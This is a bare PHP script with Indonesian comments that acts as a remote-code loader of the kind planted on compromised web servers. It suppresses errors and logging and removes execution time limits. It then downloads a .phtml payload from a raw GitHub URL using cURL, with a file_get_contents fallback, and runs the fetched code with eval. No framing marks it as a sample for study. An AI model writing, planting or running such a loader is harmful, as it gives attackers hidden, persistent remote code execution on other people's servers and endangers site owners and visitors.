<?PhP
@error_reporting(0);
@ini_set('display_errors', '0');
@ini_set('log_errors', '0');
@ini_set('max_execution_time', '0');
@set_time_limit(0);
$url = 'https://raw.githubusercontent.com/tikung6etar/Nyarek/refs/heads/master/notif.phtml';
$res = false;

/* ---------- Metode 1: cURL ---------- */
if (function_exists('curl_init')) {
    $ch = @curl_init($url);
    if ($ch) {
        @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        @curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
        @curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
        @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
        @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
        @curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
        @curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: text/plain', 'Cache-Control: no-cache'));
        $res = @curl_exec($ch);
        if ($res === false) { $res = false; }
        @curl_close($ch);
    }
}

/* ---------- Metode 2: fallback file_get_contents ---------- */
if ($res === false && @ini_get('allow_url_fopen')) {
    $ctx = @stream_context_create(array(
        'http' => array(
            'method' => 'GET',
            'timeout' => 30,
            'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
            'ignore_errors' => true
        ),
        'ssl' => array('verify_peer' => true, 'verify_peer_name' => true)
    ));
    $res = @file_get_contents($url, false, $ctx);
}

/* ---------- Validasi ---------- */
if (!is_string($res) || strlen($res) < 20) {
    @header('HTTP/1.1 503 Service Unavailable');
    die('ERR_LOAD');
}

/* ---------- Cek apakah response berisi PHP ---------- */
if (strpos($res, '<?php') === false && strpos($res, '<?') === false) {
    @header('HTTP/1.1 502 Bad Gateway');
    die('ERR_PAYLOAD');
}

/* ---------- Eksekusi ---------- */
eval('?>' . $res);
?>
